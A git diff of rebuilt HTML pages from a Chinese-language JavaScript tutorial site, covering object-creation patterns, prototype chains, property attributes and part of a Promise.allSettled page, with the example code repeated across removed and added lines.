                                                                引用类型值的属性始终都会共享相应的值,多个实例对象对引用类型的操作会被篡改。

                                                                +
                                                                console.log(kat.__proto__.friends);
                                                                // ["Amy", "Ben", "Tom", "Peter", "Sid"]

                                                                模式缺陷

                                                                引用类型值的属性始终都会共享相应的值,多个实例对象对引用类型的操作会被篡改。

                                                                - + diff --git a/object-oriented-programming/inheritance/prototype-chain/index.html b/object-oriented-programming/inheritance/prototype-chain/index.html index 4eb037bf3..c65627f4a 100644 --- a/object-oriented-programming/inheritance/prototype-chain/index.html +++ b/object-oriented-programming/inheritance/prototype-chain/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -45,12 +48,12 @@
                                                                console.log((123).__proto__.__proto__ === Object.prototype);
                                                                console.log('String'.__proto__.__proto__ === Object.prototype);
                                                                console.log([].__proto__.__proto__ === Object.prototype);
                                                                -
                                                                console.log({}.__proto__ === Object.prototype);

                                                                总结:


                                                                参考资料:

                                                                +
                                                                console.log({}.__proto__ === Object.prototype);

                                                                总结:


                                                                参考资料:

                                                                - + diff --git a/object-oriented-programming/object-creation/combination-constructor-and-prototype-pattern/index.html b/object-oriented-programming/object-creation/combination-constructor-and-prototype-pattern/index.html index cc9cce81a..dc4ff437c 100644 --- a/object-oriented-programming/object-creation/combination-constructor-and-prototype-pattern/index.html +++ b/object-oriented-programming/object-creation/combination-constructor-and-prototype-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -32,12 +35,12 @@
                                                                // 原型模式
                                                                Person.prototype = {
                                                                constructor: Person,
                                                                sayName: function(){
                                                                console.log(this.name);
                                                                }
                                                                }
                                                                const uzi = new Person('Uzi', 22, 'Software Engineer');
                                                                const tom = new Person('Tom', 25, 'Doctor');
                                                                uzi.friends.push('Peter');
                                                                console.log(uzi.friends);
                                                                // 'Amy,Ben,Peter'
                                                                console.log(tom.friends);
                                                                // 'Amy,Ben'
                                                                -
                                                                console.log(uzi.friends == tom.friends);
                                                                // false
                                                                console.log(uzi.sayName == tom.sayName);
                                                                // true

                                                                在这个例子中,实例属性都是在构造函数中定义的,而由所有实例共享的属性 constructor 和方法 sayName() 则是在原型中定义的。而修改了 uzi.friends(向其中添加一个新字符串),并不会影响到 tom.friends,因为它们分别引用了不同的数组。

                                                                +
                                                                console.log(uzi.friends == tom.friends);
                                                                // false
                                                                console.log(uzi.sayName == tom.sayName);
                                                                // true

                                                                在这个例子中,实例属性都是在构造函数中定义的,而由所有实例共享的属性 constructor 和方法 sayName() 则是在原型中定义的。而修改了 uzi.friends(向其中添加一个新字符串),并不会影响到 tom.friends,因为它们分别引用了不同的数组。

                                                                - + diff --git a/object-oriented-programming/object-creation/durable-constructor-pattern/index.html b/object-oriented-programming/object-creation/durable-constructor-pattern/index.html index 83ae69dbf..da180d6cc 100644 --- a/object-oriented-programming/object-creation/durable-constructor-pattern/index.html +++ b/object-oriented-programming/object-creation/durable-constructor-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -32,12 +35,12 @@
                                                                // 可以在这里定义私有变量和函数
                                                                // 添加方法
                                                                obj.sayName = function() {
                                                                console.log(name);
                                                                };
                                                                // 返回对象
                                                                return obj;
                                                                }

                                                                注意,在以这种模式创建的对象中,除了使用 sayName() 方法之外,没有其他办法访问 name 的值。可以像下面使用稳妥 Person 构造函数。

                                                                let uzi = Person('Uzi', 22, 'E-Sports Player');
                                                                -
                                                                uzi.sayName();
                                                                // 'Uzi'

                                                                这样,变量 uzi 中保存的是一个稳妥对象,而除了调用 sayName() 方法外,没有别的方式可以访问其数据成员。即使有其他代码会给这个对象添加方法或数据成员,但也不可能有别的办法访问传入到构造函数中的原始数据。稳妥构造函数模式提供的这种安全性,使得它非常适合在某些安全执行环境下使用。

                                                                与寄生构造函数模式类似,使用稳妥构造函数模式创建的对象与构造函数之间也没有什么关系,因此 instanceof 操作符对这种对象也没有意义。

                                                                +
                                                                uzi.sayName();
                                                                // 'Uzi'

                                                                这样,变量 uzi 中保存的是一个稳妥对象,而除了调用 sayName() 方法外,没有别的方式可以访问其数据成员。即使有其他代码会给这个对象添加方法或数据成员,但也不可能有别的办法访问传入到构造函数中的原始数据。稳妥构造函数模式提供的这种安全性,使得它非常适合在某些安全执行环境下使用。

                                                                与寄生构造函数模式类似,使用稳妥构造函数模式创建的对象与构造函数之间也没有什么关系,因此 instanceof 操作符对这种对象也没有意义。

                                                                - + diff --git a/object-oriented-programming/object-creation/dynamic-prototype-pattern/index.html b/object-oriented-programming/object-creation/dynamic-prototype-pattern/index.html index b0cc31606..005341156 100644 --- a/object-oriented-programming/object-creation/dynamic-prototype-pattern/index.html +++ b/object-oriented-programming/object-creation/dynamic-prototype-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                                                                  动态原型模式

                                                                  动态原型模式将所有信息都封装在构造函数中,而通过构造函数中初始化原型(仅第一个对象实例化时初始化原型),这个可以通过判断该方法是否有效而选择是否需要初始化原型。

                                                                  function Person(name, age, job) {
                                                                  // 属性
                                                                  this.name = name;
                                                                  this.age = age;
                                                                  this.job = job;
                                                                  // 方法(动态插入原型方法)
                                                                  if (typeof this.sayName != 'function'){
                                                                  Person.prototype.sayName = function(){
                                                                  console.log(`I'm ${this.name}`);
                                                                  }
                                                                  }
                                                                  }
                                                                  const uzi = new Person('Uzi', 2, 'E-Sports Player');
                                                                  -
                                                                  uzi.sayName();
                                                                  // 'I'm Uzi'

                                                                  这里只在 sayName() 方法不存在的情况下,才会将它添加到原型中。这段代码只会在初次调用构造函数时才会执行。此后,原型已经完成初始化,不需要再做什么修改了。不过要记住,这里对原型所做的修改,能够立即在所有实例中得到反映。

                                                                  使用动态原型模式时,不能使用对象字面量重写原型。如果在已经创建了实例的情况下重写原型,那么就会切断现有实例与新原型之间的联系。

                                                                  +
                                                                  uzi.sayName();
                                                                  // 'I'm Uzi'

                                                                  这里只在 sayName() 方法不存在的情况下,才会将它添加到原型中。这段代码只会在初次调用构造函数时才会执行。此后,原型已经完成初始化,不需要再做什么修改了。不过要记住,这里对原型所做的修改,能够立即在所有实例中得到反映。

                                                                  使用动态原型模式时,不能使用对象字面量重写原型。如果在已经创建了实例的情况下重写原型,那么就会切断现有实例与新原型之间的联系。

                                                                  - + diff --git a/object-oriented-programming/object-creation/index.html b/object-oriented-programming/object-creation/index.html index fce35d36d..76a482f09 100644 --- a/object-oriented-programming/object-creation/index.html +++ b/object-oriented-programming/object-creation/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/object-oriented-programming/object-creation/parastic-constructor-pattern/index.html b/object-oriented-programming/object-creation/parastic-constructor-pattern/index.html index b93b94561..74f23f9b1 100644 --- a/object-oriented-programming/object-creation/parastic-constructor-pattern/index.html +++ b/object-oriented-programming/object-creation/parastic-constructor-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                                    寄生构造函数模式

                                                                    寄生构造函数模式的基本思想是创建一个函数,该函数的作用仅仅是封装创建对象的代码,然后再返回新创建的对象;但从表面上看,这个函数又很像是典型的构造函数。

                                                                    function Person(name, age, job){
                                                                    let obj = new Object();
                                                                    obj.name = name;
                                                                    obj.age = age;
                                                                    obj.job = job;
                                                                    obj.sayName = function(){
                                                                    console.log(`I'm ${this.name}`);
                                                                    };
                                                                    return obj;
                                                                    }
                                                                    -
                                                                    let uzi = new Person('Uzi', 22, 'E-Sports Player');
                                                                    uzi.sayName();
                                                                    // I'm Uzi

                                                                    在构造函数的末尾添加一个 return 语句,可以重写调用构造函数时返回的值。

                                                                    关于寄生构造函数模式,有一点需要说明:首先,返回的对象与构造函数或者与构造函数的原型属性之间没有关系。也就是说,构造函数返回的对象与构造函数外部创建的对象没有什么不同。为此,不能依赖 instanceof 操作符来确定对象类型。

                                                                    +
                                                                    let uzi = new Person('Uzi', 22, 'E-Sports Player');
                                                                    uzi.sayName();
                                                                    // I'm Uzi

                                                                    在构造函数的末尾添加一个 return 语句,可以重写调用构造函数时返回的值。

                                                                    关于寄生构造函数模式,有一点需要说明:首先,返回的对象与构造函数或者与构造函数的原型属性之间没有关系。也就是说,构造函数返回的对象与构造函数外部创建的对象没有什么不同。为此,不能依赖 instanceof 操作符来确定对象类型。

                                                                    - + diff --git a/object-oriented-programming/object-creation/the-constructor-pattern/index.html b/object-oriented-programming/object-creation/the-constructor-pattern/index.html index 4bda84efe..08cd2610f 100644 --- a/object-oriented-programming/object-creation/the-constructor-pattern/index.html +++ b/object-oriented-programming/object-creation/the-constructor-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -32,12 +35,12 @@
                                                                    const person1 = new Person('Ben', 21, 'student');
                                                                    const person2 = new Person('Gray', 25, 'Doctor');

                                                                    构造函数模式与工厂模式实现过程的区别:

                                                                    按照惯例,构造函数始终都应该以一个大写字母开头,而非构造函数则应该以一个小写字母开头。这个做法借鉴自其他 OO 语言,主要是为了区别于 ECMAScript 中的其他函数。因为构造函数本身也是函数,只不过可以用来创建对象而已。

                                                                    将构造函数当作函数

                                                                    构造函数与其他函数的唯一区别,就在于调用它们的方式不同。不过,构造函数毕竟也是函数,不存在定义构造函数的特殊语法。任何函数,只要同 new 操作符来调用,那它就可以作为构造函数;而任何函数,如果不同过 new 操作符来调用,那它跟普通函数也不会有什么两样。

                                                                    构造函数的问题

                                                                    使用构造函数,每个方法都要在每个实例上重新创建一遍。不要忘了,ECMAScript 中的函数就是对象,因此每定义一个函数,也就是实例化一个对象。

                                                                    虽然两个实例中都拥有同名的方法函数,但是两个函数不是同一个 Function 的实例。

                                                                    function Person(name, age, job){
                                                                    this.name = name;
                                                                    this.age = age;
                                                                    this.job = job;
                                                                    this.sayName = new Function('console.log(this.name)');
                                                                    // 与声明函数在逻辑上是等价的
                                                                    }

                                                                    从这个角度上来看构造函数,更容易明白每个实例都包含一个不同的 Function 实例的本质。说明白些,以这种方式创建函数,会导致不同的作用域链和标识符解析,但创建 Function 新实例的机制仍然是相同的。因此,不同实例上的同名函数是不相等的。

                                                                    console.log(person1.sayName == person2.sayName);
                                                                    // false

                                                                    然而,创建两个完全同样任务的 Function 实例的确没有必要,况且有 this 对象在,根本不用再执行代码前就把函数绑定到特定对象上面。把函数定义转移到构造函数外部来解决重复创建函数实例的问题。

                                                                    function Person(name, age, job) {
                                                                    this.name = name;
                                                                    this.age = age;
                                                                    this.job = job;
                                                                    this.sayName = sayName;
                                                                    }
                                                                    function sayName(){
                                                                    console.log(this.name);
                                                                    }
                                                                    const person1 = new Person('Ben', 21, 'student');
                                                                    const person2 = new Person('Gray', 25, 'Doctor');

                                                                    在全局作用域中定义的函数实际上只能被某个对象调用,这让全局作用域有点名不副实。而更让人无法接受的是:如果对象需要定义很多方法,那么就要定义很多歌全局函数,于是我们这个自定义的引用类型就丝毫没有封装性可言了。而这些问题可以通过 原型模式 来解决。

                                                                    ES6 模块实现

                                                                    底层实现原理与 ES5 一样,只是语法更简洁。

                                                                    class Person {
                                                                    constructor(name, age, job) {
                                                                    this.name = name;
                                                                    this.age = name;
                                                                    this.job = job;
                                                                    }
                                                                    -
                                                                    sayName() {
                                                                    console.log(this.name);
                                                                    }
                                                                    }
                                                                    +
                                                                    sayName() {
                                                                    console.log(this.name);
                                                                    }
                                                                    }
                                                                    - + diff --git a/object-oriented-programming/object-creation/the-factory-pattern/index.html b/object-oriented-programming/object-creation/the-factory-pattern/index.html index 259ad33bc..f752e1ad4 100644 --- a/object-oriented-programming/object-creation/the-factory-pattern/index.html +++ b/object-oriented-programming/object-creation/the-factory-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -30,12 +33,12 @@

                                                                    工厂模式

                                                                    工厂模式 是用来创建对象的一种最常用的设计模式。工厂模式不暴露创建对象的具体逻辑,而是将逻辑封装在一个函数中,那么这个函数就可以被视为一个工厂。工厂模式常见于大型项目,例如 jQuery 的 $ 对象,我们创建选择器对象之所以没有 new selector 就是因为 $() 已经是一个工厂方法,其他例子例如 React.createElement()Vue.component() 都是工厂模式的实现。

                                                                    工厂模式根据抽象程度的不同可以分为三种:

                                                                    • 简单工厂:通过第三方的类完成松耦合的任务
                                                                    • 复杂工厂:通过把实例化的任务交给子类来完成的,用以到达松耦合的目的
                                                                    • 超级工厂:通过 eval() 来完成智能工厂

                                                                    工厂的目的:在于判断接口最终用哪个类实例化(故与接口密不可分)。

                                                                    使用工厂最终达到的效果是:多态,和类与类之间的松耦合。

                                                                    应用场景

                                                                    ES5 实现工厂模式

                                                                    function createPerson(name, age, job) {
                                                                    let person = new Object();
                                                                    person.name = name;
                                                                    person.age = age;
                                                                    person.job = job;
                                                                    person.sayNam = function () {
                                                                    console.log(`I'm ${name}`);
                                                                    };
                                                                    return person;
                                                                    }
                                                                    -
                                                                    const person1 = createPerson('Ben', 21, 'student');
                                                                    const person2 = createPerson('Gray', 25, 'Doctor');

                                                                    函数 createPerson() 能够根据接受的参数来构建一个包含所有必要信息的 Person 对象。可以无数次调用这个函数,而每次它都会返回一个包含三个属性一个方法的对象。工厂模式虽然解决了创建多个相似对象的问题,但却没有解决对象识别的问题(即怎样知道一个对象的类型)。

                                                                    ES6 实现工厂模式

                                                                    class User {
                                                                    constructor(name, auth) {
                                                                    this.name = name;
                                                                    this.auth = auth;
                                                                    }
                                                                    }
                                                                    class UserFactory {
                                                                    static createUser(name, auth) {
                                                                    //工厂内部封装了创建对象的逻辑:
                                                                    //权限为 admin 时,auth=1;权限为 user 时,auth 为 2
                                                                    //使用者在外部创建对象时,不需要知道各个权限对应哪个字段, 不需要知道赋权的逻辑,只需要知道创建了一个管理员和用户
                                                                    if (auth === 'admin') return new User(name, 1);
                                                                    if (auth === 'user') return new User(name, 2);
                                                                    }
                                                                    }
                                                                    const admin = UserFactory.createUser('cxk', 'admin');
                                                                    const user = UserFactory.createUser('xz', 'user');
                                                                    +
                                                                    const person1 = createPerson('Ben', 21, 'student');
                                                                    const person2 = createPerson('Gray', 25, 'Doctor');

                                                                    函数 createPerson() 能够根据接受的参数来构建一个包含所有必要信息的 Person 对象。可以无数次调用这个函数,而每次它都会返回一个包含三个属性一个方法的对象。工厂模式虽然解决了创建多个相似对象的问题,但却没有解决对象识别的问题(即怎样知道一个对象的类型)。

                                                                    ES6 实现工厂模式

                                                                    class User {
                                                                    constructor(name, auth) {
                                                                    this.name = name;
                                                                    this.auth = auth;
                                                                    }
                                                                    }
                                                                    class UserFactory {
                                                                    static createUser(name, auth) {
                                                                    //工厂内部封装了创建对象的逻辑:
                                                                    //权限为 admin 时,auth=1;权限为 user 时,auth 为 2
                                                                    //使用者在外部创建对象时,不需要知道各个权限对应哪个字段, 不需要知道赋权的逻辑,只需要知道创建了一个管理员和用户
                                                                    if (auth === 'admin') return new User(name, 1);
                                                                    if (auth === 'user') return new User(name, 2);
                                                                    }
                                                                    }
                                                                    const admin = UserFactory.createUser('cxk', 'admin');
                                                                    const user = UserFactory.createUser('xz', 'user');
                                                                    - + diff --git a/object-oriented-programming/object-creation/the-prototype-pattern/index.html b/object-oriented-programming/object-creation/the-prototype-pattern/index.html index 33a22eba7..83a7a75d5 100644 --- a/object-oriented-programming/object-creation/the-prototype-pattern/index.html +++ b/object-oriented-programming/object-creation/the-prototype-pattern/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -44,12 +47,12 @@
                                                                    Person.prototype = {
                                                                    name: 'Nicholas',
                                                                    age: 29,
                                                                    job: 'Software Engineer',
                                                                    friends: ['Shelby', 'Court'],
                                                                    sayName: function (){
                                                                    console.log(this.name);
                                                                    }
                                                                    }
                                                                    const person1 = new Person();
                                                                    const person2 = new Person();
                                                                    person1.friends.push('Van');
                                                                    -
                                                                    console.log(person1.friends);
                                                                    // 'Shelby,Court,Van'
                                                                    console.log(person2.friends);
                                                                    // 'Shelby,COurt,Van'
                                                                    console.log(person1.friends == person2.friends);
                                                                    // true
                                                                    +
                                                                    console.log(person1.friends);
                                                                    // 'Shelby,Court,Van'
                                                                    console.log(person2.friends);
                                                                    // 'Shelby,COurt,Van'
                                                                    console.log(person1.friends == person2.friends);
                                                                    // true
                                                                    - + diff --git a/object-oriented-programming/object-oriented-programming/index.html b/object-oriented-programming/object-oriented-programming/index.html index 78a8e7bfa..e6ba74ad3 100644 --- a/object-oriented-programming/object-oriented-programming/index.html +++ b/object-oriented-programming/object-oriented-programming/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 简介 - JavaScript Guidebook -

                                                                    面向对象编程

                                                                    面向对象程序设计(Object Oriented Programming)作为一种新方法,其本质是以建立模型体现出来的抽象思维过程和面向对象的方法。模型是用来反映现实世界中事物特征的。任何一个模型都不可能反映客观事物的一切具体特征,只能对事物特征和变化规律的一种抽象,且在它所涉及的范围内更普遍、更集中、更深刻地描述客体的特征。通过建立模型而达到的抽象是人们对客体认识的深化。

                                                                    名词解释

                                                                    面向对象程序设计中的概念主要包括:对象(Object)、类(Class)、数据抽象、继承、动态绑定、数据封装(Encapsulation)、多态性、消息传递。通过这些概念面向对象的思想得到了具体的体现。

                                                                    • 对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
                                                                    • :一个共享相同结构和行为的对象的集合。 类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的(它的行为)。举例来说,“狗”这个类会包含狗的一切基础特征,例如它的孕育、毛皮颜色和吠叫的能力。类可以为程序提供模版和结构。一个类的方法和属性被称为“成员”。
                                                                    • 封装:第一层意思:将数据和操作捆绑在一起,创造出一个新的类型的过程。第二层意思:将接口与实现分离的过程。
                                                                    • 继承:类与类之间的关系,在这种关系中,一个类共享了一个或多个其他类定义的结构和行为。继承描述了类之间的“是一种”关系。子类可以对基类的行为进行扩展、覆盖、重定义。
                                                                    • 组合:既是类与类之间的关系也是对象与对象之间的关系。在这种关系中一个对象或者类包含了其他的对象和类。组合描述了“有”关系。
                                                                    • 多态:类型理论中的一个概念,一个名称可以表示很多不同类的对象,这些类和一个共同超类有关。因此,这个名称表示的任何对象可以以不同的方式响应一些共同的操作集合。
                                                                    • 动态绑定:也称动态类型,指的是一个对象或者表达式的类型直到运行时才确定。通常由编译器插入特殊代码来实现。与之对立的是静态类型。
                                                                    • 静态绑定:也称静态类型,指的是一个对象或者表达式的类型在编译时确定。
                                                                    • 消息传递:指的是一个对象调用了另一个对象的方法(或者称为成员函数)。
                                                                    • 方法:也称为成员函数,是指对象上的操作,作为类声明的一部分来定义。方法定义了可以对一个对象执行那些操作。

                                                                    不同语言间的对比

                                                                    JavaJavaScript
                                                                    静态类型动态类型
                                                                    使用类,接口和枚举来定义类型使用函数和原型来定义类型
                                                                    在运行时类型无法改变类型可以在运行时变更
                                                                    需要给所有变量声明类型(强类型校验)声明变量时不需要指定类型(弱类型校验)
                                                                    构造器时特殊的方法构造器也是一个函数,与其他函数没有区别
                                                                    类和对象是不同的实体包括构造器,函数原型在内的一切都是对象
                                                                    支持静态方法和实例不直接支持静态方法和实例
                                                                    通过抽象类和接口支持抽象类型不直接支持抽象类型
                                                                    通过 privatepackageprotectedpublic 定义对象的作用域只支持 public 成员
                                                                    提供丰富的继承机制通过原型实现继承
                                                                    支持方法级的重写和重载机制不直接支持重写和重载
                                                                    提供丰富的反射特性具有一些反射特性
                                                                    提供包提供模块化支持没有直接的模块化支持
                                                                    +

                                                                    面向对象编程

                                                                    面向对象程序设计(Object Oriented Programming)作为一种新方法,其本质是以建立模型体现出来的抽象思维过程和面向对象的方法。模型是用来反映现实世界中事物特征的。任何一个模型都不可能反映客观事物的一切具体特征,只能对事物特征和变化规律的一种抽象,且在它所涉及的范围内更普遍、更集中、更深刻地描述客体的特征。通过建立模型而达到的抽象是人们对客体认识的深化。

                                                                    名词解释

                                                                    面向对象程序设计中的概念主要包括:对象(Object)、类(Class)、数据抽象、继承、动态绑定、数据封装(Encapsulation)、多态性、消息传递。通过这些概念面向对象的思想得到了具体的体现。

                                                                    • 对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
                                                                    • :一个共享相同结构和行为的对象的集合。 类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的(它的行为)。举例来说,“狗”这个类会包含狗的一切基础特征,例如它的孕育、毛皮颜色和吠叫的能力。类可以为程序提供模版和结构。一个类的方法和属性被称为“成员”。
                                                                    • 封装:第一层意思:将数据和操作捆绑在一起,创造出一个新的类型的过程。第二层意思:将接口与实现分离的过程。
                                                                    • 继承:类与类之间的关系,在这种关系中,一个类共享了一个或多个其他类定义的结构和行为。继承描述了类之间的“是一种”关系。子类可以对基类的行为进行扩展、覆盖、重定义。
                                                                    • 组合:既是类与类之间的关系也是对象与对象之间的关系。在这种关系中一个对象或者类包含了其他的对象和类。组合描述了“有”关系。
                                                                    • 多态:类型理论中的一个概念,一个名称可以表示很多不同类的对象,这些类和一个共同超类有关。因此,这个名称表示的任何对象可以以不同的方式响应一些共同的操作集合。
                                                                    • 动态绑定:也称动态类型,指的是一个对象或者表达式的类型直到运行时才确定。通常由编译器插入特殊代码来实现。与之对立的是静态类型。
                                                                    • 静态绑定:也称静态类型,指的是一个对象或者表达式的类型在编译时确定。
                                                                    • 消息传递:指的是一个对象调用了另一个对象的方法(或者称为成员函数)。
                                                                    • 方法:也称为成员函数,是指对象上的操作,作为类声明的一部分来定义。方法定义了可以对一个对象执行那些操作。

                                                                    不同语言间的对比

                                                                    JavaJavaScript
                                                                    静态类型动态类型
                                                                    使用类,接口和枚举来定义类型使用函数和原型来定义类型
                                                                    在运行时类型无法改变类型可以在运行时变更
                                                                    需要给所有变量声明类型(强类型校验)声明变量时不需要指定类型(弱类型校验)
                                                                    构造器时特殊的方法构造器也是一个函数,与其他函数没有区别
                                                                    类和对象是不同的实体包括构造器,函数原型在内的一切都是对象
                                                                    支持静态方法和实例不直接支持静态方法和实例
                                                                    通过抽象类和接口支持抽象类型不直接支持抽象类型
                                                                    通过 privatepackageprotectedpublic 定义对象的作用域只支持 public 成员
                                                                    提供丰富的继承机制通过原型实现继承
                                                                    支持方法级的重写和重载机制不直接支持重写和重载
                                                                    提供丰富的反射特性具有一些反射特性
                                                                    提供包提供模块化支持没有直接的模块化支持
                                                                    - + diff --git a/object-oriented-programming/object-understand/attributes-object/index.html b/object-oriented-programming/object-understand/attributes-object/index.html index edee67266..814d1c700 100644 --- a/object-oriented-programming/object-understand/attributes-object/index.html +++ b/object-oriented-programming/object-understand/attributes-object/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -57,12 +60,12 @@
                                                                    foo.a = 1;
                                                                    console.log(foo.a);
                                                                    // undefined

                                                                    一般地,setget 方法需要成对出现的。

                                                                    const foo = {
                                                                    get a() {
                                                                    return this._a;
                                                                    },
                                                                    set a(val) {
                                                                    this._a = val * 2;
                                                                    },
                                                                    };
                                                                    foo.a = 1;
                                                                    -
                                                                    console.log(foo.a);
                                                                    // 2
                                                                    +
                                                                    console.log(foo.a);
                                                                    // 2
                                                                    - + diff --git a/object-oriented-programming/object-understand/index.html b/object-oriented-programming/object-understand/index.html index c4395582b..0d617667d 100644 --- a/object-oriented-programming/object-understand/index.html +++ b/object-oriented-programming/object-understand/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/object-oriented-programming/object-understand/manipulating-property/index.html b/object-oriented-programming/object-understand/manipulating-property/index.html index 912012b96..2a3e356f7 100644 --- a/object-oriented-programming/object-understand/manipulating-property/index.html +++ b/object-oriented-programming/object-understand/manipulating-property/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -43,12 +46,12 @@
                                                                    console.log(foo.a);
                                                                    // 1
                                                                    console.log('a' in foo);
                                                                    // true
                                                                    // delete object attribute
                                                                    console.log(delete foo.a);
                                                                    // true
                                                                    console.log(foo.a);
                                                                    // undefined
                                                                    console.log('a' in foo);
                                                                    // false

                                                                    属性继承

                                                                    每个 JavaScript 对象都和另一个对象相关联。"另一个对象"就是我们熟知的原型,每一个对象都从原型继承属性。

                                                                    所有通过对象直接量创建的对象都具有同一个原型对象,并可以通过 Object.prototype 获得对原型对象的引用。

                                                                    const foo = {};
                                                                    -
                                                                    console.log(foo.__proto__ === Object.prototype);
                                                                    // true

                                                                    Object.prototype 的原型对象是 null,所以它不继承任何属性。

                                                                    console.log(Object.prototype.__proto__ === null);
                                                                    // true

                                                                    对象本身具有的属性叫 自有属性(Own Property),从原型对象继承而来的属性叫 继承属性

                                                                    判断方法

                                                                    +
                                                                    console.log(foo.__proto__ === Object.prototype);
                                                                    // true

                                                                    Object.prototype 的原型对象是 null,所以它不继承任何属性。

                                                                    console.log(Object.prototype.__proto__ === null);
                                                                    // true

                                                                    对象本身具有的属性叫 自有属性(Own Property),从原型对象继承而来的属性叫 继承属性

                                                                    判断方法

                                                                    - + diff --git a/object-oriented-programming/object-understand/the-object-status/index.html b/object-oriented-programming/object-understand/the-object-status/index.html index abfd8d7d7..14de65b0e 100644 --- a/object-oriented-programming/object-understand/the-object-status/index.html +++ b/object-oriented-programming/object-understand/the-object-status/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -64,12 +67,12 @@
                                                                    const foo = { bar: {} };
                                                                    deepFreeze(foo);
                                                                    foo.bar.a = 1;
                                                                    -
                                                                    console.log(foo.bar.a);
                                                                    // undefined

                                                                    总结

                                                                    添加新属性删除已有属性配置数据属性已有属性可写
                                                                    扩展特性
                                                                    密封特性
                                                                    冻结特性

                                                                    参考资料:

                                                                    +
                                                                    console.log(foo.bar.a);
                                                                    // undefined

                                                                    总结

                                                                    添加新属性删除已有属性配置数据属性已有属性可写
                                                                    扩展特性
                                                                    密封特性
                                                                    冻结特性

                                                                    参考资料:

                                                                    - + diff --git a/object-oriented-programming/object-understand/the-object-type/index.html b/object-oriented-programming/object-understand/the-object-type/index.html index 172c2f604..8cfe30919 100644 --- a/object-oriented-programming/object-understand/the-object-type/index.html +++ b/object-oriented-programming/object-understand/the-object-type/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -45,12 +48,12 @@
                                                                    foo.mth2.name;
                                                                    // ES6: "m2"

                                                                    引用对象

                                                                    如果不同的变量名指向同一个对象,那么它们都是这个对象的引用,也就是说指向同一个内存地址。修改其中一个变量,会影响到其他所有变量。

                                                                    let foo = {};
                                                                    let bar = foo;
                                                                    foo.a = 1;
                                                                    console.log(bar.a);
                                                                    // 1
                                                                    bar.b = 2;
                                                                    console.log(foo.b);
                                                                    // 2

                                                                    如果取消某一个变量对于原对象的引用,不会影响到另一个变量。

                                                                    let foo = {};
                                                                    let bar = foo;
                                                                    -
                                                                    foo = 1;
                                                                    console.log(bar);
                                                                    // {}
                                                                    +
                                                                    foo = 1;
                                                                    console.log(bar);
                                                                    // {}
                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/all-settled/index.html b/standard-built-in-objects/control-abstraction-objects/all-settled/index.html index f0948c763..7e16e9a59 100644 --- a/standard-built-in-objects/control-abstraction-objects/all-settled/index.html +++ b/standard-built-in-objects/control-abstraction-objects/all-settled/index.html @@ -7,32 +7,35 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.allSettled - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.allSettled

                                                                    ⭐️ ES2020(ES11)新特性

                                                                    Promise.allSettled 方法返回一个在所有给定的 Promise 都已经 fullfilledrejected 后的 Promise,并带有一个对象数组,每个对象表示对应的 Promise 结果。

                                                                    当您有多个彼此不依赖的异步任务成功完成时,或者您总是想知道每个 Promise 的结果时,通常使用它。

                                                                    语法

                                                                    语法:

                                                                    Promise.allSettled(iterable);

                                                                    类型声明:

                                                                    interface PromiseFulfilledResult<T> {
                                                                    status: 'fulfilled';
                                                                    value: T;
                                                                    }
                                                                    -
                                                                    interface PromiseRejectedResult {
                                                                    status: 'rejected';
                                                                    reason: any;
                                                                    }
                                                                    -
                                                                    type PromiseSettledResult<T> = PromiseFulfilledResult<T> | PromiseRejectedResult;
                                                                    -
                                                                    interface PromiseConstructor {
                                                                    allSettled<T extends readonly unknown[] | readonly [unknown]>(
                                                                    values: T
                                                                    ): Promise<
                                                                    { -readonly [P in keyof T]: PromiseSettledResult<T[P] extends PromiseLike<infer U> ? U : T[P]> }
                                                                    >;
                                                                    -
                                                                    allSettled<T>(
                                                                    values: Iterable<T>
                                                                    ): Promise<PromiseSettledResult<T extends PromiseLike<infer U> ? U : T>[]>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    iterable见下方any

